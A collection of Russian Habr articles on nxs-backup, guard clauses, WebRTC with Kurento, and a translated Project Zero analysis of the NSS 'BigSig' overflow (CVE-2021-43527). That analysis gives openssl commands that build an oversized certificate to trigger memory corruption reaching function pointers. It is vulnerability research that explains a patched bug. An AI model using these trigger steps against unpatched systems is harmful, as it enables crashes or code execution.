" --key=/etc/ssl/etcd/ssl/member-node1-key.pem --endpoints 'https://127.0.0.1:2379' snapshot save %s" %snapshot_path
command = exec_cmd(dump_cmd)
result_code = command['code']
if result_code:
sys.stderr.write(command['stderr'])
else:
try:
new_path = archive(snapshot_path)
except tarfile.TarError as e:
sys.exit(1)
else:
result_dict = {
"full_path": new_path,
"basename": "etcd",
"extension": "tar",
"gzip": False
}
print(json.dumps(result_dict))
sys.exit(result_code)
if __name__ == '__main__':
main()
```
Конфиг для запуска этого скрипта выглядит следующим образом:
**конфигурационный файл**
```
- job: etcd-external
type: external
dump_cmd: '/etc/nxs-backup-ext/etcd.py'
storages:
- storage: local
enable: yes
backup_dir: /var/nxs-backup/external/dump
store:
days: 6
weeks: 4
month: 6
```
При этом программа при запуске job *etcd-external*:
* Запустит на выполнение скрипт */etc/nxs-backup-ext/etcd.py* без параметров
* После завершения работы скрипта проверит код завершения и наличие необходимых данных в stdout
* Если все проверки прошли успешно, дальше задействуется тот же механизм, что и при работе уже встроенных модулей, где в качестве tmp\_path выступает значение ключа full\_path. Если нет — завершит выполнение данного задания с соответствующей отметкой в журнале.
Поддержка и обновление
======================
Процесс разработки и поддержки новой системы бэкапов реализован у нас по всем канонам CI/CD. Больше никаких обновлений и правок скриптов на боевых серверах. Все изменения проходят через наш центральный git-репозиторий в Gitlab, где в pipeline прописана сборка новых версий deb/rpm-пакетов, которые затем загружаются в наши deb/rpm репозитории. И уже после этого через менеджер пакетов доставляются на конечные сервера клиентов.
Как скачать nxs-backup?
=======================
Мы сделали nxs-backup open-source проектом. Любой желающий может скачать и пользоваться им для организации процесса бекапа в своих проектах, а также дорабатывать под свои нужды, писать внешние модули.
Исходный код nxs-backup можно скачать с Github-репозитория [по этой ссылке](https://github.com/nixys/nxs-backup). Там же находится инструкция по установке и настройке.
Также мы подготовили Docker-образ и выложили его на [DockerHub](https://hub.docker.com/r/nixyslab/nxs-backup/).
Если в процессе настройки или использования возникнут вопросы, напишите нам. Мы поможем разобраться и доработаем инструкцию.
Заключение
==========
В ближайших планах у нас реализовать следующий функционал:
* Интеграцию с мониторингом
* Шифрование резервных копий
* Web-интерфейс для управления настройками бэкапов
* Разворачивание бэкапов средствами nxs-backup
* И многое другое | https://habr.com/ru/post/424717/ | null | ru | null |
# Прекратите использовать Else в ваших программах
Когда я только начинал программировать, хотел бы я, чтобы тогда нашёлся кто-то, кто мог бы рассказать об основных подводных камнях, с которыми я столкнусь при создании моего первого сайта.
Тогда одной из проблем было чрезмерное использование **else** при написании условных выражений. Сегодня я сам постоянно вижу, как в ту же ловушку попадают другие люди, поэтому решил написать этот пост.
*Дисклеймер: нижеизложенное — исключительно моё субъективное мнение.*
Приём, о котором я собираюсь рассказать, работает не всегда и иногда использовать **else** всё-таки придётся. В остальных случаях отказ от **else** поможет сделать код чище.
Охранные выражения
==================
Согласно [Википедии](https://ru.wikipedia.org/wiki/%D0%9E%D1%85%D1%80%D0%B0%D0%BD%D0%B0_(%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)), охранное выражение («guard clause») — предварительная проверка неких условий с целью избежать ошибок позже.
Давайте разберём вышенаписанное на пальцах. Итак, мы выполняем проверку неких условий (где-то в начале кода) чтобы не иметь дела с ошибками во время движения потока исполнения программы.
В идеале мы бы хотели, чтобы основная логика программы была расположена после всех проверок данных.
Давайте рассмотрим такой пример: сайт, где один из разделов доступен только премиум клиентам и только после 12 часов.
```
php
if ($user != null) {
if (time() = strtotime('12 pm')) {
if ($user->hasAccess(UserType.PREMIUM)) {
if ($store->hasItemsInStock()) {
// Раздел доступен.
} else {
return 'We are completely sold out.';
}
} else {
return 'You do not have premium access to our website.';
}
} else {
return 'This section is not opened before 12PM';
}
} else {
return 'You are not signed in.';
}
```
*В реальной жизни, мы скорее всего будем кидать исключения.*
Хотя подход выше и выполняет задачу, уже трудно понять к какому конкретно условному выражению относится каждое **else**, хотя их пока всего несколько штук.
Можно представить, что начнётся для случая с гораздо более сложной логикой. Код станет совсем неподдерживаемым, так что надо искать альтернативный подход.
На помощь приходят охранные выражения:
```
php
if (condition1()) {
return ...;
}
if (condition2()) {
return ...;
}
// Входные данные в порядке.
doSomething();</code
```
Перепишем код нашего примера используя охранные выражения:
```
php
if ($user == null) {
return 'You are not signed in.';
}
if (time() < strtotime('12 pm')) {
return 'This section is not opened before 12PM';
}
if (!$user-hasAccess(UserType.PREMIUM)) {
return 'You do not have premium access to our website';
}
if (!$store->hasItemsInStock()) {
return 'We are completely sold out.';
}
// Раздел доступен.
```
*При использовании охранных выражений, мы обычно инвертируем условия, которые проверяем. Т.е. если раньше мы проверяли, что пользователь залогинен, теперь будем проверять, что он НЕ залогинен.*
Новый подход всё так же решает задачу, но получившийся код гораздо чище и понятнее.
Заключение
==========
При создании программы, постоянно спрашивайте себя: «Насколько легко будет её изменить через 6 месяцев?»
Всегда приятно решить проблему быстро. Но написание кода без мыслей о том, как его поддерживать в будущем, просто безответственно.
Использование охранных выражений позволит вам и вашим коллегам модифицировать проверку данных быстрее и легче, когда это потребуется. | https://habr.com/ru/post/478158/ | null | ru | null |
# Как Mozilla упустила (не)очевидную уязвимость
Этот пост в блоге необычный. Обычно я пишу посты о скрытых видах атак или интересном и сложном классе уязвимостей. На этот раз речь пойдёт о совершенно иной уязвимости. Впечатляет её простота. Её должны были заметить раньше, и я хочу выяснить, почему этого не произошло.
В 2021 году всем хорошим багам нужно цепляющее название, и у этой уязвимости появилось имя BigSig. Сначала объясню, как она нашлась, а затем попытаюсь понять, почему её так долго упускали.
Анализ
------
[Network Security Services](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/Overview) (NSS) — популярная кросс-платформенная криптографическая библиотека от Mozilla. Когда проверяется зашифрованная цифровая подпись ASN.1, в NSS создаётся структура [VFYContext](https://searchfox.org/mozilla-central/rev/f8576fec48d866c5f988baaf1fa8d2f8cce2a82f/security/nss/lib/cryptohi/secvfy.c#120) для хранения необходимых данных — открытого ключа, хеш-алгоритма и самой подписи.
```
struct VFYContextStr {
SECOidTag hashAlg; /* the hash algorithm */
SECKEYPublicKey *key;
union {
unsigned char buffer[1];
unsigned char dsasig[DSA_MAX_SIGNATURE_LEN];
unsigned char ecdsasig[2 * MAX_ECKEY_LEN];
unsigned char rsasig[(RSA_MAX_MODULUS_BITS + 7) / 8];
} u;
unsigned int pkcs1RSADigestInfoLen;
unsigned char *pkcs1RSADigestInfo;
void *wincx;
void *hashcx;
const SECHashObject *hashobj;
SECOidTag encAlg; /* enc alg */
PRBool hasSignature;
SECItem *params;
};
```
*Структура VFYContext из NSS*
Сигнатура максимального размера, которую обрабатывает эта структура, равна наибольшему элементу объединения, здесь это RSA в [2048 байтов](https://searchfox.org/mozilla-central/rev/f8576fec48d866c5f988baaf1fa8d2f8cce2a82f/security/nss/lib/freebl/blapit.h#139), то есть 16 384 бита. Это достаточно много, чтобы вместить сигнатуры даже невероятно больших ключей. А что, если сделать сигнатуру больше этой? Произойдёт повреждение памяти. Да, так и есть. Ненадёжная сигнатура просто копируется в этот буфер фиксированного размера, перезаписывая соседние элементы произвольными данными, которые контролируются злоумышленником.
Баг прост в воспроизведении и влияет на несколько алгоритмов. Проще всего показать RSA-PSS:
```
# We need 16384 bits to fill the buffer, then 32 + 64 + 64 + 64 bits to overflow to hashobj,
# which contains function pointers (bigger would work too, but takes longer to generate).
$ openssl genpkey -algorithm rsa-pss -pkeyopt rsa_keygen_bits:$((16384 + 32 + 64 + 64 + 64)) -pkeyopt rsa_keygen_primes:5 -out bigsig.key
# Generate a self-signed certificate from that key
$ openssl req -x509 -new -key bigsig.key -subj "/CN=BigSig" -sha256 -out bigsig.cer
# Verify it with NSS...
$ vfychain -a bigsig.cer
```
*Уязвимость BigSig за три простых команды*
Код, который вызывает повреждение, зависит от алгоритма. [Вот код](https://searchfox.org/mozilla-central/rev/f8576fec48d866c5f988baaf1fa8d2f8cce2a82f/security/nss/lib/cryptohi/secvfy.c#477) для RSA-PSS. Баг заключается в том, что проверки границ просто нет вообще: sig и key — это большие двоичные объекты произвольной длины, контролируемые злоумышленником, а cx->u — это буфер фиксированного размера:
```
case rsaPssKey:
sigLen = SECKEY_SignatureLen(key);
if (sigLen == 0) {
/* error set by SECKEY_SignatureLen */
rv = SECFailure;
break;
}
if (sig->len != sigLen) {
PORT_SetError(SEC_ERROR_BAD_SIGNATURE);
rv = SECFailure;
break;
}
PORT_Memcpy(cx->u.buffer, sig->data, sigLen);
break;
```
Уязвимость вызывает ряд вопросов:
* Связана ли она с недавним изменением кода или это регрессия, которая проявилась только сейчас? Нет, исходный код был [проверен](https://hg.mozilla.org/projects/nss/annotate/41f5eb9e5df23951883ba3243f3ae51550663d77/security/nss/lib/cryptohi/secvfy.c#l158) поддержкой ECC 17 октября 2003 года, но его нельзя было использовать до [рефакторинга](https://hg.mozilla.org/projects/nss/diff/10393/security/nss/lib/cryptohi/seckey.c#l1.63), проведённого в июне 2012 года. В 2017 году [добавили](https://hg.mozilla.org/projects/nss/rev/84e886ea090e36c69df58a71665a97bd25c62d02) поддержку RSA-PSS, при этом допустили ту же ошибку.
* Много ли времени требуется, чтобы сгенерировать ключ, который вызывает баг? Нет, в приведённом примере генерируются реальный ключ и сигнатура, но это может быть мусор: переполнение происходит до проверки сигнатуры. Несколько килобайтов символа А работают без проблем.
* Требуется ли для доступа к уязвимому коду сложное состояние, с которым у техник тестирования и статических анализаторов были бы трудности при синтезе, например хеши или контрольные суммы? Нет, должен быть правильный DER, вот и всё.
* Уязвимости трудно достичь в смысле кода? Нет, в Firefox этот путь кода не используется для сигнатур RSA-PSS, но точка входа по умолчанию для проверки сертификата в NSS — `CERT_VerifyCertificate()` — уязвима.
* Она характерна исключительно для алгоритма RSA-PSS? Нет, она влияет и на сигнатуры DSA.
* Этой уязвимостью нельзя воспользоваться или же она имеет ограниченное воздействие? Нет, может быть затёрт элемент hashobj. Этот объект содержит [указатели функции](https://searchfox.org/mozilla-central/rev/41a8c58186206985c0d70d3d460c04ac844d11d0/security/nss/lib/util/hasht.h#45), которые сразу же используются.
Это не сбой процесса: вендор всё сделал правильно. В Mozilla работают специалисты мирового класса по обеспечению безопасности. Они первыми внедрили [программу](https://www.mozilla.org/en-US/security/bug-bounty/) вознаграждений за обнаруженные уязвимости, вкладываются в [обеспечение](https://research.mozilla.org/rust/) безопасной работы с памятью, автоматизацию тестирования безопасности и [покрытие](https://coverage.moz.tools/) кода тестами.
NSS был одним из первых проектов, включённых в [oss-fuzz](https://google.github.io/oss-fuzz/): по крайней мере поддерживался официально с [октября 2014](https://github.com/google/oss-fuzz/commit/3d325bf20f0b09961b6c7de34aa4da0d16cfa67d) года. В Mozilla сами также проводят автоматизацию тестирования безопасности NSS с помощью [libFuzzer](https://llvm.org/docs/LibFuzzer.html) и представили собственную коллекцию [методов-модификаторов](https://searchfox.org/mozilla-central/source/security/nss/fuzz/asn1_mutators.cc), а также основу [корпуса покрытия](https://github.com/mozilla/nss-fuzzing-corpus). Есть обширный тестовый комплект и ночные сборки [ASAN](https://firefox-source-docs.mozilla.org/tools/sanitizer/asan.html).
Я в общем скептически отношусь к статическому анализу, но это похоже на простую недостающую проверку границ, которую должно быть легко найти. Coverity отслеживает NSS по крайней мере с [декабря 2008](https://scan.coverity.com/projects/nss) года и тоже, кажется, не смогла обнаружить уязвимость.
До 2015 года в Google Chrome [использовали](https://chromium.googlesource.com/chromium/third_party/nss/+/refs/heads/master/README.chromium) NSS и поддерживали собственную инфраструктуру тестового комплекта и автоматизации тестирования безопасности, независимую от Mozilla. Сегодня в платформах Chrome используется [BoringSSL](https://boringssl.googlesource.com/boringssl/), но порт NSS ещё поддерживается.
* Было ли в Mozilla хорошее тестовое покрытие уязвимых областей? [Да](https://coverage.moz.tools/#revision=latest&path=security%2Fnss%2Flib%2Fcryptohi%2Fsecvfy.c&suite=gtest&view=file&line=201).
* Были ли в корпусе автоматизации тестирования безопасности Mozilla / Chrome / oss-fuzz соответствующие входные данные? [Да](https://storage.googleapis.com/oss-fuzz-coverage/nss/reports/20211027/linux/src/nss/lib/cryptohi/secvfy.c.html#L201).
* Есть ли метод-модификатор, способный расширить эти ASN1\_ITEM? [Да](https://codereview.chromium.org/1677803002/patch/180001/190008).
* Является ли это [внутриобъектным переполнением](https://github.com/google/sanitizers/wiki/AddressSanitizerIntraObjectOverflow) или другой формой повреждения, которую ASAN было бы трудно обнаружить? Нет, это классическое переполнение буфера, которое ASAN может обнаружить легко.
Как я нашёл баг?
----------------
Экспериментировал с альтернативными методами измерения покрытия кода, чтобы узнать, можно ли их как-то использовать на практике в автоматизации тестирования безопасности. В технике тестирования, с помощью которой удалось обнаружить эту уязвимость, применялось сочетание двух подходов: покрытие стека и выделение объектов.
Покрытие стека
--------------
Самый распространённый метод измерения покрытия кода — покрытие блоков или [покрытие границ](https://clang.llvm.org/docs/SanitizerCoverage.html#edge-coverage), когда доступен исходный код. Интересно, всегда ли этого достаточно? Например, возьмём простую таблицу диспетчеризации с сочетанием надёжных и ненадёжных параметров, как показано в листинге:
```
#include
#include
#include
static char buf[128];
void cmd\_handler\_foo(int a, size\_t b) { memset(buf, a, b); }
void cmd\_handler\_bar(int a, size\_t b) { cmd\_handler\_foo('A', sizeof buf); }
void cmd\_handler\_baz(int a, size\_t b) { cmd\_handler\_bar(a, sizeof buf); }
typedef void (\* dispatch\_t)(int, size\_t);
dispatch\_t handlers[UCHAR\_MAX] = {
cmd\_handler\_foo,
cmd\_handler\_bar,
cmd\_handler\_baz,
};
int main(int argc, char \*\*argv)
{
int cmd;
while ((cmd = getchar()) != EOF) {
if (handlers[cmd]) {
handlers[cmd](getchar(), getchar());
}
}
}
```
*Покрытие команды bar — это надмножество команды foo, поэтому ввод, содержащий foo, будет отброшен при минимизации корпуса. Есть уязвимость, недоступная через команду bar, которая может быть не обнаружена никогда. Покрытие стека корректно сохранит оба ввода*[1](https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html#ftnt1)*.*
Чтобы решить эту проблему, я отслеживал стек вызовов во время выполнения.
Наивная реализация слишком медленная, но после многих оптимизаций я создал практичную библиотеку, достаточно быструю, чтобы интегрировать её в автоматизацию тестирования безопасности, ориентированную на покрытие. Я тестировал, как она работает с NSS и другими библиотеками.
Выделение объектов
------------------
Многие типы данных создаются из записей меньшего размера. Файлы PNG состоят из фрагментов, файлы PDF — из потоков, файлы ELF — из разделов, а сертификаты X.509 — из элементов ASN.1 TLV. Если в технике тестирования заложено представление о базовом формате, то с её помощью можно выделить эти записи и извлечь те, что приводят к обнаружению новой трассировки стека.
Техника тестирования, которую я использовал, способна выделять и извлекать интересные новые идентификаторы объекта ASN.1, последовательности SEQUENCE, целые числа INTEGER и т. д. После извлечения они могут случайным образом комбинироваться или вставляться в данные шаблона. На самом деле идея не новая, новая — реализация. Планирую в будущем сделать этот код общедоступным.
Работают ли эти подходы?
------------------------
Возможно, обнаружение этого бага подтверждает мои идеи, но я не уверен, что это так. Я проводил относительно новую автоматизацию тестирования безопасности, но не вижу причин, почему этот баг не мог быть обнаружен раньше даже с помощью простейших методов тестирования.
Что в итоге?
------------
Как обширная, настраиваемая автоматизация тестирования безопасности с впечатляющими показателями покрытия не выявила этот баг?
Что пошло не так?
-----------------
### 1. Нет сквозного тестирования
NSS — [модульная](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/NSS_API_Guidelines) библиотека. Многоуровневый дизайн отражён в подходе [автоматизации тестирования безопасности](https://searchfox.org/nss/source/fuzz/), ведь каждый компонент тестируется независимо. Например, декодер [QuickDER](https://developer.mozilla.org/en-US/docs/Mozilla/Projects/NSS/NSS_Tech_Notes/nss_tech_note1#how_to_use_the_nss_asn.1_and_quickder_decoders) проходит [расширенное](https://searchfox.org/nss/source/fuzz/quickder_target.cc) тестирование, но при использовании техники тестирования объекты просто [создаются, отбрасываются](https://searchfox.org/nss/rev/5f2fa238b58c9158a52c0681ca2a67958a353082/fuzz/quickder_target.cc#72) и никогда не используются:
```
extern "C" int LLVMFuzzerTestOneInput(const uint8_t *Data, size_t Size) {
char *dest[2048];
for (auto tpl : templates) {
PORTCheapArenaPool pool;
SECItem buf = {siBuffer, const_cast(Data),
static\_cast(Size)};
PORT\_InitCheapArena(&pool, DER\_DEFAULT\_CHUNKSIZE);
(void)SEC\_QuickDERDecodeItem(&pool.arena, dest, tpl, &buf);
PORT\_DestroyCheapArena(&pool);
}
```
*При использовании техники тестирования QuickDER объекты просто создаются и отбрасываются. Так проверяется синтаксический анализ ASN.1, но не корректность работы с получаемыми объектами других компонентов.*
С этой техникой тестирования можно было создать SECKEYPublicKey, который бы достал в уязвимый код. Но баг так и не был бы обнаружен, ведь результат никогда не использовался для проверки сигнатуры.
### 2. Произвольные ограничения по размеру
Для ввода автоматизированного тестирования задаётся произвольное ограничение в [10 000 байтов](https://searchfox.org/nss/source/fuzz/options/quickder.options). В NSS такого ограничения нет: у многих структур этот размер возможно превысить. В случае с этой уязвимостью ошибки происходят на границах, поэтому ограничение следует выбирать с умом.
Приемлемым вариантом может быть 224–1 байтов, т. е. [максимально возможный](https://datatracker.ietf.org/doc/html/rfc8446#section-4.4.2) сертификат, предоставляемый сервером во время согласования рукопожатия TLS.
Хотя в NSS обрабатываются объекты даже большего размера, TLS задействовать нельзя, а это снижает общую степень серьёзности любых пропущенных уязвимостей.
### 3. Метрики и заблуждения
Все техники тестирования NSS представлены в объединённых показателях покрытия oss-fuzz, а не в их индивидуальных покрытиях. Эти данные оказались неверными, так как уязвимый код проходит расширенное автоматизированное тестирование, но с помощью техник тестирования, которые не могли генерировать соответствующие входные данные.
Почему? Потому что в техниках тестирования типа [tls\_server\_target](https://searchfox.org/nss/source/fuzz/tls_server_target.cc) используются фиксированные, [жёстко](https://searchfox.org/nss/source/fuzz/tls_server_certs.cc) заданные сертификаты. При этом выполняется код, относящийся к проверке сертификата, но проводится автоматизированное тестирование лишь сообщений TLS и изменений состояния протокола.
Что всё-таки сработало?
-----------------------
* Благодаря дизайну библиотеки проверки корректности сертификатов `mozilla::pkix` не было допущено ухудшение ситуации с этим багом. К сожалению, она не используется вне Firefox и Thunderbird.
Сложно сказать, удача это или нет. Вероятно, RSA-PSS в `mozilla::pkix` будет разрешён.
Рекомендации
------------
Эта проблема свидетельствует о том, что даже в очень хорошо поддерживаемом C/C++ могут быть фатальные, простейшие ошибки.
### Краткосрочные рекомендации
* Увеличить максимальный размер объектов ASN.1, создаваемых с помощью libFuzzer, с 10 000 до 224–1 = 16 777 215 байтов.
* При использовании техники тестирования QuickDER должны вызываться соответствующие API с любыми успешно созданными объектами, прежде чем они будут уничтожены.
* Показатели покрытия кода oss-fuzz нужно разделить по технике тестирования, а не по проекту.
### Решение
Эта уязвимость, CVE-2021-43527, закрыта в [NSS 3.73.0](https://www.mozilla.org/en-US/security/advisories/). Если вы вендор, распространяющий NSS в своих продуктах, то вам, скорее всего, потребуется заменить библиотеку или применить патч.
### Благодарности
Я бы не смог найти этот баг без помощи коллег из Chrome, Райана Слеви и Дэвида Бенджамина, которые помогли ответить на мои вопросы о кодировании ASN.1 и приняли участие в содержательном обсуждении этой темы.
Спасибо команде NSS, которая помогла проанализировать и разобраться с уязвимостью.
Сноска[[1]](https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html#ftnt_ref1) В этом игрушечном примере решением, если бы был доступен исходник, имело бы место комбинирование опций инструментирования потока данных sancov, но в более сложных вариантах это тоже не срабатывает.
Научиться решать проблемы безопасности и работать с С++ вы сможете на наших курсах:
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_301221&utm_term=conc)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_301221&utm_term=conc)
[Узнайте подробности](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_301221&utm_term=conc) акции.
Профессии и курсы**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_301221&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_301221&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_301221&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_301221&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_301221&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_301221&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_301221&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_301221&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_301221&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_301221&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_301221&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_301221&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_301221&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_301221&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_301221&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_301221&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_301221&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_301221&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_301221&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_301221&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_301221&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_301221&utm_term=cat) | https://habr.com/ru/post/598621/ | null | ru | null |
# WebRTC через Kurento: опыт тестирования и внедрения
В этой статье я поделюсь опытом работы с технологией WebRTC и медиасервером Kurento на этапе тестирования и внедрения. Расскажу с какими проблемами я столкнулся и как их решил. Я не расскажу о том как разработать приложение с нуля, но приведу много полезных ссылок. Уверен, что мой рассказ будет полезен тем, кто собирается работать с WebRTC.
### Введение
Медицинская Информационная Система (МИС), которую разрабатывает наша компания, уже разрослась до огромного энтерпрайз-проекта со множеством микросервисов, шинами обмена сообщениями, мобильными клиентами и так далее. Некоторые части системы приходится отдавать на разработку и поддержку в сторонние организации, так как они не являются нашим профилем.
Сервис “Телемедицина” один из таких модулей МИС. Опыта разработки видеоконференций и использования WebRTC не было и заказ был делегирован. Но спустя какое-то время, в силу различных обстоятельств эта компания прекратила поддержку видеоконференции. Без поддержки этот сервис был отключен и “пылился” в репозитории.
И вот наступило время оживлять этот микро сервис. Было принято решение попробовать перезапустить Телемедицину своими силами. Наша компания выросла, появилось больше специалистов — можно и нужно осваивать новые темы к разработке. Я раньше не занимался передачей видео, но было очень интересно разобраться и изучить столь перспективную технологию, как WebRTC.
Приведу очень полезные ссылки по технологии WebRTC и сервера Kurento, которые мне помогли на старте:
* [Java, Spring, Kurento и медиасервисы](https://habr.com/ru/post/435580/)
* [WebRTC: как два браузера договариваются о голосовых и видеозвонках](https://habr.com/ru/company/Voximplant/blog/344794/)
* [Разрабатываем видеочат между браузером и мобильным приложением](https://habr.com/ru/company/flashphoner/blog/324914/)
### Начало работы
Задача стояла простая: восстановить существующую систему видеоконференций, провести инвентаризацию уже сделанного ранее и, при необходимости, доработать по желаниям пользователей. Первые тесты на виртуальных машинах и реальных компьютерах прошли успешно. Но развертывание системы у клиента принесло немало хлопот.
Напомню, что у клиента уже функционирует медицинская информационная система (МИС), покрывающая огромное количество задач: от электронной очереди, рабочего места доктора, документооборота и PACS до подсистемы управления медицинским оборудованием.
Когда появилась необходимость разработать функционал видеоконференций для связи медицинского персонала диагностических центров (далее — ДЦ) с удаленными пациентами, было поставлено два обязательных условия:
Все конференции должны записываться и храниться на сервере.
Пациенты не должны устанавливать на свои устройства никакие дополнительные программы, кроме браузера, который в большинстве случаев уже предустановлен.
WebRTC работает из браузера без дополнительных программ или плагинов. А Kurento умеет записывать всё, то что проходит через него. И к тому же данный медиасервер обладает хорошим набором готовых библиотек для работы с его API посредством Java и JavaScript, что значительно упрощает разработку.
Разработка серверной части, а точнее её базиса, ещё до того, как я приступил к задаче, была передана клиентом на аутсорс в стороннюю компанию. Так появился “Управляющий сервер” (УС) — готовая серверная основа, которая и досталась мне на внедрение.
#### Общая идея взаимодействия изначально выглядела так:
Но в процессе дальнейшей работы, вся система сильно изменилась и усложнилась.
### Первый опыт реанимации
После развертывания в тестовой сети на виртуальных машинах и на нескольких “живых” компах, было проведено много испытаний и экспериментов — всё прекрасно работало. Соответственно наступила пора внедрения в реальную, работающую сеть.
Для тестирования мне в помощь была назначена ответственная жертва в виде доктора и его рабочего места. И второй же звонок через микросервис телемедицины привел к сбою!
Хорошо, что это произошло во время бета-теста и кроме меня и довольного приключениями доктора, этого никто не видел.
Что происходит и почему связь не налаживается понять было очень сложно. WebRTC не показывает отказа — она просто ждет, что вот-вот появится сигнал. По незнанию было очень сложно как-то отлаживаться: серверная часть работает хорошо, Kurento в логах молчит, клиенты ждут потока, но ничего не происходит.
Помог Хабр (хвала ему):
* [Как отлаживать WebRTC.](https://habr.com/ru/company/Voximplant/blog/417869/)
* [5 ошибок при разработке WebRTC звонков из браузера](https://habr.com/ru/company/Voximplant/blog/351234/)
* [Опыт использования WebRTC. Лекция Яндекса](https://habr.com/ru/company/yandex/blog/419951/)
Очень жаль, что я не знал этих инструментов раньше.
Проанализировав данные логов и наблюдая за состояниями подключений, стало понятно, что и серверной части и клиентским скриптам не хватает реакции на события в системе WebRTC. А где эти события взять?
Разработчики сервера kurento предоставляют очень удобную библиотеку для работы с WebRTC на JavaScript: kurento-utils.js.
Для быстрого старта достаточно создать объект:
```
new kurentoUtils.WebRtcPeer.WebRtcPeerRecvonly(options, callback());
```
А чтобы получить доступ к событиям, надо переопределять внутренние методы библиотеки. Я максимально упростил код, чтобы было понятнее:
```
// Настройка параметров для WebRtcPeerRecvonly
var options = {
//генерация класса с переопределенными внутри методами
peerConnection: getRTCPeerConnection(videoId),
remoteVideo: videoElement, //идентификатор
//метод на ICE кандидатов
onicecandidate: function (candidate) {
onIceCandidate(candidate, videoId, true);
},
onerror: onError, //метод на ошибки
mediaConstraints: {
// настройки
video: true,
audio: true}
};
// Создание WebRTC
incomeWebRtc[videoId] = new kurentoUtils.WebRtcPeer.WebRtcPeerRecvonly(
options,
function (error) {
if (error) {
return console.error(error);
}
this.generateOffer(
function (error, sdpOffer) {
//Обработка результата
});
});
// Пробиваемся к методам обратной связи
function getRTCPeerConnection( videoId ){
var configuration = {
"iceServers": [
{"url": "stun:" + stunServer},
{"url": "turn:" + turnServer, credential: turnCredential, username: turnUsername}
]
};
var mypc = new RTCPeerConnection(configuration);
// Переопределяем методы для обработки событий
mypc.oniceconnectionstatechange = function(){
state = this.iceConnectionState;
console.info("### iceConnectionState " + videoId + " > " + this.iceConnectionState);
};
mypc.onsignalingstatechange = function(){
state = this.signalingState || this.readyState;
console.info("### SignalingState " + videoId + " > " + state);
};
mypc.onconnectionstatechange = function(){
console.info("### ConnectionState " + videoId + " > " + this.connectionState);
};
return mypc;
}
```
### Кстати о сертификатах
